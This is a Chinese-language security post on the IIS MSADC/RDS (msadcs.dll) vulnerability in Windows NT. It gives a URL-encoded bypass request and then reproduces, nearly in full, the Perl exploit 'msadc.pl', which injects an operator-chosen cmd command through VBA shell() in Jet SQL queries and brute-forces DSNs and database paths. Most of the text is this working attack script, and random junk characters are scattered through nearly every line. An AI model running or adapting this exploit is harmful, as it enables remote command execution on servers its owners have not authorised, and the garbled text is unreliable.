IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
pQCW6X 69Q#UJ 涉及程序:
W>$mU&ew[ Microsoft NT server
uF@DJX}> DbN_(mC 描述:
VpxsgCS 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"2
qivJ F,xFeq$/{ 详细:
239gpf]} 如果你没有时间读详细内容的话,就删除:
d?[8VfAnh c:\Program Files\Common Files\System\Msadc\msadcs.dll
)%I62<N,z 有关的安全问题就没有了。
1[(/{CClB \2[ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
_W BWFGj 0w".o!2\U{ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
h(FFG%H( 关于利用ODBC远程漏洞的描述,请参看:
Z"9D1Uk Oz5Ze/HBN http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i7O8f^| 1{CVd m<9 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
nhB.>ReAi http://www.microsoft.com/security/bulletins/MS99-025faq.asp TdrRg''@ m>^#:JK 这里不再论述。
$*+`;PG- ?fvK<0S` 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
810uxw{\ o[k,{`M0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7;ddzxR4 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
NvJ}|w,Z e~G um p~<d8n4UH #将下面这段保存为txt文件,然后: "perl -x 文件名"
03I*@jj pq*4yaTT' #!perl
iRI7x)^0"z #
0PJ7o#}_{@ # MSADC/RDS 'usage' (aka exploit) script
{xQ(xy #
'dd[=vzK # by rain.forest.puppy
gYa
(-o #
oN.#q$\` k # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
RA:3ZV # beta test and find errors!
+{&++^(}a I*=
=I4qx use Socket; use Getopt::Std;
hODq&9! getopts("e:vd:h:XR", \%args);
=R||c C<q@C!A print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
X8 xY`$j'u if (!defined $args{h} && !defined $args{R}) {
0'II6,: print qq~
hWiBLip,z Usage: msadc.pl -h <host> { -d <delay> -X -v }
\aGTi
pB -h <host> = host you want to scan (ip or domain)
fTV3lyk -d <seconds> = delay between calls, default 1 second
6iJ\7 -X = dump Index Server path table, if available
'n7Ld6%1 -v = verbose
MOu= -e = external dictionary file for step 5
-h#9sl-> lm(k[]@ Or a -R will resume a command session
V?-OI> -hP>;~*4 ~; exit;}
l'#a2Pl )C#b83 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-<@QR8: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k`r`ZA(kQ- if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
=o,6iJ^?$m if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
l#!6
tw+e? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+Am\jsq if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
oz?pE[[tm W< :7z if (!defined $args{R}){ $ret = &has_msadc;
oGqbk x die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
YjwC8#$ oTxE]a, print "Please type the NT commandline you want to run (cmd /c assumed):\n"
e'5sT#T9 l . "cmd /c ";
\t%rIr $in=<STDIN>; chomp $in;
5VK.Zs\ $command="cmd /c " . $in ;
6 9EdMuf 1zJ)x? if (defined $args{R}) {&load; exit;}
"']|o ~B 8G|kKpX print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
= ^_4u%} &try_btcustmr;
Y
#6G&)M vC%8-;8{H print "\nStep 2: Trying to make our own DSN...";
N&-J,p~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
hBNA,e: vuNq7V*} print "\nStep 3: Trying known DSNs...";
NekPl/4 &known_dsn;
o_on/{qz
{_>}K print "\nStep 4: Trying known .mdbs...";
}^n346^ &known_mdb;
pJ3Yjm[l 9*j$U$:' if (defined $args{e}){
GGkU$qp2~ print "\nStep 5: Trying dictionary of DSN names...";
?bH!|aW(H &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|lVoL.Z,0 rnS&^ print "Sorry Charley...maybe next time?\n";
VL| q`n exit;
-DE?L,9X9 TAKvE=a; ##############################################################################
hScC<=W {K42PmQL sub sendraw { # ripped and modded from whisker
_Xzl=j9[ sleep($delay); # it's a DoS on the server! At least on mine...
*MZa|Xy my ($pstr)=@_;
ctu`FQ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[W*Q~Wvp die("Socket problems\n");
"P@oO,. if(connect(S,pack "SnA4x8",2,80,$target)){
}\/
3B_X6N select(S); $|=1;
KVZ-T1K print $pstr; my @in=<S>;
YuKg|<WO select(STDOUT); close(S);
=p7eP return @in;
8)51p+a } else { die("Can't connect...\n"); }}
l"1at eM3 QK@[b3-h1 ##############################################################################
&ub0t9R @w5x;uB|%G sub make_header { # make the HTTP request
Eao^/MKx- my $msadc=<<EOT
[7@9wa1v! POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!OL[1_-4|K User-Agent: ACTIVEDATA
1CpIK$/ Host: $ip
"=3bL>\< Content-Length: $clen
%Ae43 Connection: Keep-Alive
vOi4$I~CJ "6
\_/l ADCClientVersion:01.06
ylwh_&>2 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
|++\"g /O&{fo --!ADM!ROX!YOUR!WORLD!
F%^)oQT+c Content-Type: application/x-varg
XX[CTh?O% Content-Length: $reqlen
7dtkylW s2t9+ZA+s EOT
+/4wioGm ; $msadc=~s/\n/\r\n/g;
\S[I:fw#& return $msadc;}
t @vb3 P&}J(;Lbl ##############################################################################
mB<*we ?Oyps7hXx sub make_req { # make the RDS request
qM8"* dL my ($switch, $p1, $p2)=@_;
b&\f 8xZ my $req=""; my $t1, $t2, $query, $dsn;
{'$+?V"& 8q_"aa,` if ($switch==1){ # this is the btcustmr.mdb query
'jj|bN $query="Select * from Customers where City=" . make_shell();
t?;\' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
l[u=_uaYl $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)0N^rw kW o GN*p_g elsif ($switch==2){ # this is general make table query
/YHAU5N/} $query="create table AZZ (B int, C varchar(10))";
c01i!XS $dsn="$p1";}
"1|\V.>>; A8U\/GP elsif ($switch==3){ # this is general exploit table query
s>c0K@ADO $query="select * from AZZ where C=" . make_shell();
1yV+~)by3 $dsn="$p1";}
pUD(5v*0R jSd[ elsif ($switch==4){ # attempt to hork file info from index server
E)z=85;_p $query="select path from scope()";
TAp8x $dsn="Provider=MSIDXS;";}
gOLN7K-) jU0E=;1 elsif ($switch==5){ # bad query
uN+]q qCf $query="select";
"^NsbA+ $dsn="$p1";}
Q]hl+C$d"/ g`r4f%O $t1= make_unicode($query);
w:c9Z=KX $t2= make_unicode($dsn);
i.Z iLDs\7 $req = "\x02\x00\x03\x00";
20?@t.aMp $req.= "\x08\x00" . pack ("S1", length($t1));
Qs\*r@6? $req.= "\x00\x00" . $t1 ;
6'45c1e $req.= "\x08\x00" . pack ("S1", length($t2));
+sFpIiJg $req.= "\x00\x00" . $t2 ;
=>htX(k} $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
%:e.ES return $req;}
!yo@i_1D .)Zs:50l ##############################################################################
%_%BbQf E(g$f.9 sub make_shell { # this makes the shell() statement
FL E3LH return "'|shell(\"$command\")|'";}
o8h`9_ $(+#$F<eo+ ##############################################################################
4=qZ Z>[t uZe"M(3r$ sub make_unicode { # quick little function to convert to unicode
d3"QCl my ($in)=@_; my $out;
[ahK+J for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
M2pFXU?] return $out;}
Nk;ywC"e; C2C1 @=w ##############################################################################
;LqpX!Pi
f mnL+@mm sub rdo_success { # checks for RDO return success (this is kludge)
nZ %%{#T7 my (@in) = @_; my $base=content_start(@in);
s`gfz}/ if($in[$base]=~/multipart\/mixed/){
<rxtdI"3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
2;ju/9x return 0;}
i|[**P ],s{%a5wC ##############################################################################
3@42uG> 5
BLAa1 sub make_dsn { # this makes a DSN for us
J#xZ.6) my @drives=("c","d","e","f");
y;<F|zIm print "\nMaking DSN: ";
K$I`&M( foreach $drive (@drives) {
\![ p-mW{ print "$drive: ";
G j^* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
lc\{47LwZ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
mx5#K\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
qPBOt;N $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
)kD B*(? return 0 if $2 eq "404"; # not found/doesn't exist
nrg$V>pD if($2 eq "200") {
"p]!="\ foreach $line (@results) {
7~Z(dTdSG return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(0E<Fz
V } return 0;}
:!ablO~ WG*),P? ##############################################################################
A DVUx} hBi/lHu' sub verify_exists {
Mj`g84 my ($page)=@_;
|]5`T9K@b# my @results=sendraw("GET $page HTTP/1.0\n\n");
0*E_D return $results[0];}
"!ks7:}v 83J63Xa ##############################################################################
28qlp>U {krBAz& sub try_btcustmr {
-&l%CR,U my @drives=("c","d","e","f");
^?NLA&v< my @dirs=("winnt","winnt35","winnt351","win","windows");
AuT:snCzR % {-r'Yi% foreach $dir (@dirs) {
2"HG6"Rr print "$dir -> "; # fun status so you can see progress
5W0s9yD foreach $drive (@drives) {
0n}v"61q print "$drive: "; # ditto
-Fq`#" $reqlen=length( make_req(1,$drive,$dir) ) - 28;
U"=Lzo.0 $reqlenlen=length( "$reqlen" );
yLPP6_59$ $clen= 206 + $reqlenlen + $reqlen;
l <p(zLR C1>zwU_zo my @results=sendraw(make_header() . make_req(1,$drive,$dir));
QBh*x/J if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@C%6Wo4l3 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ST2:&xH( zf>*\pZE ##############################################################################
;;6$d{ ~ #7@;C<nt sub odbc_error {
8@Bm2?$}g my (@in)=@_; my $base;
pHXs+Ysw+ my $base = content_start(@in);
P\WFm
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
<HtGp6q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@]!9;?so $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6_:I~TTX $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D|*yeS4> return $in[$base+4].$in[$base+5].$in[$base+6];}
K|Eelhm print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[(eX\kL print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
f `D(V-4 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
70'gVCb -y>~ :. ##############################################################################
<<b]v I aIDv~#l sub verbose {
sF>O=F-7 my ($in)=@_;
w{t]^w: return if !$verbose;
mFeR~Bi>! print STDOUT "\n$in\n";}
iL2_ _TO 5KP\ #Y ##############################################################################
w3z'ZCcr;" ':3[?d1Es sub save {
/EG'I{oC my ($p1, $p2, $p3, $p4)=@_;
o".,JnbXl open(OUT, ">rds.save") || print "Problem saving parameters...\n";
bYoBJ
#UX print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
8
/%{xB^ close OUT;}
:d pwr9) !FD d5CS ##############################################################################
&Q#*Nnb3 li,rPUCt sub load {
,`02fMOLc my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&_u.q/~ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Oxa8u e? @p=<IN>; close(IN);
?O3d Sxi $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
{o 2 qY|S $target= inet_aton($ip) || die("inet_aton problems");
Oet+$ b print "Resuming to $ip ...";
PXqG;o*Q*? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
jFJ}sX9] if($p[1]==1) {
wZN_YFwQ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
nzaA_^`mB $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\A,zwdt
P my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8\^A;5 if (rdo_success(@results)){print "Success!\n";}
!^ad{#|X else { print "failed\n"; verbose(odbc_error(@results));}}
_m[DieR elsif ($p[1]==3){
'
,S}X\ if(run_query("$p[3]")){
a+cDH print "Success!\n";} else { print "failed\n"; }}
$dXx@6fP elsif ($p[1]==4){
ma+AFCi if(run_query($drvst . "$p[3]")){
".%d{z}vz print "Success!\n"; } else { print "failed\n"; }}
+wJ!zab` exit;}
co3\1[q"b
)UM^#<- ##############################################################################
RgA"`p7{ CGzu(@dd\ sub create_table {
9^ZtbmUf my ($in)=@_;
SJ<v< B $reqlen=length( make_req(2,$in,"") ) - 28;
atF#0*e> $reqlenlen=length( "$reqlen" );
-fl6M-CYX $clen= 206 + $reqlenlen + $reqlen;
} ck<R my @results=sendraw(make_header() . make_req(2,$in,""));
r uGeN return 1 if rdo_success(@results);
M;,$
)>P my $temp= odbc_error(@results); verbose($temp);
Dsp$Nr%* return 1 if $temp=~/Table 'AZZ' already exists/;
(wM` LE(Ks return 0;}
)Z:D}r8[ -YAtM-VL ##############################################################################
|oke)w=gn QxdC[t$Lp sub known_dsn {
B~N3k # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Qj;{Z*l%+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
{x.0Yh7 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
nvT@'y+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
)t"-#$,@ IlB8~{p_ foreach $dSn (@dsns) {
L/r_MtN print ".";
&=BzsBh next if (!is_access("DSN=$dSn"));
?q9]H5\ if(create_table("DSN=$dSn")){
4&;iORw&E4 print "$dSn successful\n";
BhzD V if(run_query("DSN=$dSn")){
<y] 67:"<v print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p/?o^_s print "Something's borked. Use verbose next time\n";}}} print "\n";}
8"9&x}
tl- uT4|43<
G ##############################################################################
nAEyL+6U M@{#yEP sub is_access {
P|bow+4 my ($in)=@_;
-]HZ?@ $reqlen=length( make_req(5,$in,"") ) - 28;
*
l1*zaE $reqlenlen=length( "$reqlen" );
;_)~h$1%= $clen= 206 + $reqlenlen + $reqlen;
>*8V]{f9 my @results=sendraw(make_header() . make_req(5,$in,""));
SXZ9+<\ my $temp= odbc_error(@results);
U`i5B;k}- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
+q'1P}e return 0;}
xNf}f 9l NFZ(*v1U ##############################################################################
j*G: 8Lg {]<c6*gQ sub run_query {
\agZD+ my ($in)=@_;
,M;9|kE* $reqlen=length( make_req(3,$in,"") ) - 28;
Vv}R
S@4U $reqlenlen=length( "$reqlen" );
LK~aLa5wG $clen= 206 + $reqlenlen + $reqlen;
]|.ked my @results=sendraw(make_header() . make_req(3,$in,""));
^0}ma*gi~ return 1 if rdo_success(@results);
)ZpI%M?) my $temp= odbc_error(@results); verbose($temp);
jRg
gj`o return 0;}
3WJk04r #mw!_]
##############################################################################
W&*&O,c KU/r"lMNlU sub known_mdb {
#BUq;5 my @drives=("c","d","e","f","g");
7TMq#Pb my @dirs=("winnt","winnt35","winnt351","win","windows");
gCb+hQq\ my $dir, $drive, $mdb;
2URGd#{VQ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M% \T5 DFK@/.V # this is sparse, because I don't know of many
GXVx/)H my @sysmdbs=( "\\catroot\\icatalog.mdb",
vTO9XHc E "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
BsIF3sS#9 "\\system32\\certmdb.mdb",
[~s+,OO9) "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
QDg5B6>$ _|#abLh% my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
B2ln8NF#Q "\\cfusion\\cfapps\\forums\\forums_.mdb",
:rVR{,pL "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
0% rDDB "\\cfusion\\cfapps\\security\\realm_.mdb",
Q+T#J9Y "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Nrr})
g "\\cfusion\\database\\cfexamples.mdb",
Ak9{P` "\\cfusion\\database\\cfsnippets.mdb",
iY,C0=n5Y "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
/GIGE##1F "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
THp_ dTD "\\cfusion\\brighttiger\\database\\cleam.mdb",
rMDvnF "\\cfusion\\database\\smpolicy.mdb",
rF-SvSj} "\\cfusion\\database\cypress.mdb",
*#mmk1` "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
RW. qw4 "\\website\\cgi-win\\dbsample.mdb",
9efDM "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&-yRa45? "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
K
{'
atc ); #these are just
p|-MwCeH foreach $drive (@drives) {
SN}K=)KF# foreach $dir (@dirs){
mrP48#Y+l foreach $mdb (@sysmdbs) {
S{+t>en print ".";
x|0C0a\"A if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
2`$*HPj+G print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
gT+g@\u[ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
a|7C6#iz$ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
/:4J } else { print "Something's borked. Use verbose next time\n"; }}}}}
@.eN+o9| @ep.wW foreach $drive (@drives) {
N>H@vt~ foreach $mdb (@mdbs) {
yxt"vm;
print ".";
L@S\ rImw if(create_table($drv . $drive . $dir . $mdb)){
4>jHS\jc print "\n" . $drive . $dir . $mdb . " successful\n";
O2{["c
e if(run_query($drv . $drive . $dir . $mdb)){
SH?McBxS print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
#Q8_:dPY } else { print "Something's borked. Use verbose next time\n"; }}}}
f1 x&Fk }
%R c#/y JY,$B-l ##############################################################################
Zd[rn:9\ _`udd)Y2 sub hork_idx {
Z!"-LQJ print "\nAttempting to dump Index Server tables...\n";
k<< x}= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
VhUWws3E $reqlen=length( make_req(4,"","") ) - 28;
m^3x%ENZ $reqlenlen=length( "$reqlen" );
\)~d,M}kK $clen= 206 + $reqlenlen + $reqlen;
el9P@r0 my @results=sendraw2(make_header() . make_req(4,"",""));
mAW.p=; if (rdo_success(@results)){
u5oM;#{@- my $max=@results; my $c; my %d;
|2j, for($c=19; $c<$max; $c++){
=
j1Jl^[ $results[$c]=~s/\x00//g;
>a?Bk4w $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
v1OVrk>s> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
="voJgvw $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Tz @=N] D $d{"$1$2"}="";}
J?8Mo=UZz foreach $c (keys %d){ print "$c\n"; }
BIWe Hx } else {print "Index server doesn't seem to be installed.\n"; }}
d+q],\"R W@T\i2r$z ##############################################################################
{cXr!N^K ( eTrqI` sub dsn_dict {
mJUM#ry open(IN, "<$args{e}") || die("Can't open external dictionary\n");
<1|[=$w while(<IN>){
Tx;a2:6\[ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=NF0E8O next if (!is_access("DSN=$dSn"));
#rkq
?:Q if(create_table("DSN=$dSn")){
'C'mgEl%L print "$dSn successful\n";
zXY8:+f if(run_query("DSN=$dSn")){
ZyGoOk print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
PILpWhjL$9 print "Something's borked. Use verbose next time\n";}}}
A &